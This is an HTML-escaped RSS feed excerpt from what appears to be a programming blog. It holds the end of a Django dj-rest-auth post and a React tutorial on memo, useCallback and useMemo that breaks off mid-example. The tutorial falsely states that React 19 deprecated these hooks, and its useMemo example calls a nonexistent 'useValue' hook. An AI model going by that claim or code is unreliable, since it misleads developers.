style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Also note that we already have two new routes added in our api.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ token/verify/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_verify&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ token/refresh/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_refresh&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As always, remember to check the documentation for &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://dj-rest-auth.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;dj-rest-auth&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-allauth.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;dj-allauth&lt;/a&gt;&#xA; for more details.&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-authentication-libraries-in-django&#34;&gt;Other authentication libraries in Django&lt;/h2&gt;&#xA;&lt;p&gt;In addition to dj-rest-auth and dj-allauth, there are other libraries for authenticating users, such as djoser and knox. I leave you a link where you can see a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=0gRea2RtheM&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;complete tutorial on youtube&lt;/a&gt;&#xA; that explains how to use these two libraries.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Almost all complex Django applications need views for Login, Logout, reboot and password change, as well as user registration. However, both Django and Django REST Framework (DRF) are completely agnostic about their implementation, and delegate the responsibility for these functions to the users of their frameworks. Fortunately there are libraries that make this task quite simple.&lt;/p&gt;&#xA;&lt;p&gt;If you are about to develop an API, I have a post with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;recommendations on REST API design&lt;/a&gt;&#xA; that can be useful for you.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>React memo, useMemo and useCallback to avoid React renderings</title>
      <link>https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/</link>
      <pubDate>Tue, 10 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/</guid>
      
      <category>react</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;We can use react memo and useCallback to prevent a component from being rendered, uselessly, multiple times by memoization. If you don&amp;rsquo;t know what memoization is or don&amp;rsquo;t understand what the react components, useCallback and memo are for, I have a post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/&#34;&gt;React&amp;rsquo;s useCallback, useMemo and memo, and what they are for&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    As of React 19 all these hooks are deprecated, so only use this post as a reference for legacy React versions, please do not implement these hooks in your application&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let&amp;rsquo;s start our example with the following component:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// callback va a ser diferente cada vez que este componente se renderice&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Children component text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{callback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Each time MyComponent is rendered, React will create a new function called callback, and pass it to ChildComponent, which will be rendered in turn.&lt;/p&gt;&#xA;&lt;p&gt;The first step will be to memoize the child component, ChildComponent, so that it remains constant as long as its props do not change. To do this, just pass the component to the memo function and export it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { memo } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;react&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; ChildComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ callback }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; ChildrenComponentText &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; callback();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;{ChildrenComponentText}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; memo(ChildComponent)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As I mentioned before, every time React renders a component, its internal functions will be recreated, becoming a different prop for each child component that receives them.&lt;/p&gt;&#xA;&lt;p&gt;To prevent the props from changing, we have to memoize the function that memo is receiving as a prop. How? Well, using the React hook useCallback&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {useCallback} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ prop }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useCallback(() =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Result&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },[])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{callback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the callback function will not change every time MyComponent is rendered, it will remain constant. Therefore, the memoized component, ChildComponent, will receive as prop the same function, always, avoiding its re-rendering every time MyComponent changes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;testing-the-effect-of-react-memo-and-usecallback&#34;&gt;Testing the effect of React memo and useCallback&lt;/h2&gt;&#xA;&lt;p&gt;Still not clear? Check this example in a sandbox.&lt;/p&gt;&#xA;&lt;p&gt;In the sandbox below, notice how the ChildComponent has a console.log method that writes to the terminal each time the component is rendered. If you write to the input you will notice that ChildComponent is not rendering with each key press.&lt;/p&gt;&#xA;&lt;p&gt;Why? First, we are using memo in the ChildComponent to avoid renderings. Second, we are using useCallback to prevent the MyComponent function from changing, so memo always receives the same prop.&lt;/p&gt;&#xA;&lt;p&gt;Now try the following in this sandbox:&lt;/p&gt;&#xA;&lt;!-- raw HTML omitted --&gt;&#xA;&lt;p&gt;Remove only the memo function from the ChildComponent and write to the input. ChildComponent will re-render with each new key press. A new terminal message will appear for each rendering.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ChildComponent.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; ChildComponent;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoMemo.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoMemo.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Removing memo from child component causes renderings&#34; width=&#34;1461&#34; height=&#34;877&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;On the other hand, if you remove the useCallback hook, without removing memo, ChildComponent will still be re-rendered with each key press. This is because with each keystroke, MyComponent is re-rendered and the callback function is re-created, being a new function, memo re-renders the component.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// MyComponent.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Children component text&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pay attention to the terminal to appreciate the renderings.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoUseCallback.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoUseCallback.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Remove useCallback from child component causing renderings&#34; width=&#34;1461&#34; height=&#34;877&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;On the other hand, if you remove both memo and useCallback, the same thing will happen.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;avoiding-renderings-with-usememo&#34;&gt;Avoiding renderings with useMemo&lt;/h2&gt;&#xA;&lt;p&gt;useMemo can also be used to avoid renderings. How? In the previous post I mentioned that every time a component is rendered new objects are created, and these objects are not the same, even if they have the same properties, with the same values.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; A &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {one&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, two&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; B &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {one&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, two&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;B&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// false&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Look at the following example, every time the component is re-rendered due to another component, or a change in the state, a new &lt;em&gt;monsterStats&lt;/em&gt; object will be created. Every time that happens React will ask inside useEffect: &amp;ldquo;Is the variable monsterStats the same as last time?&amp;rdquo; And the answer will be &amp;ldquo;no&amp;rdquo;, because React creates a new object every time, even if this object has exactly the same values as its previous version, they are different objects.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {useCallback} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ prop }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [hp, setHp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [mp, setMp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// otro valores de estado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; monsterStats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; { hp, mp }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  useEffect(()=&amp;gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    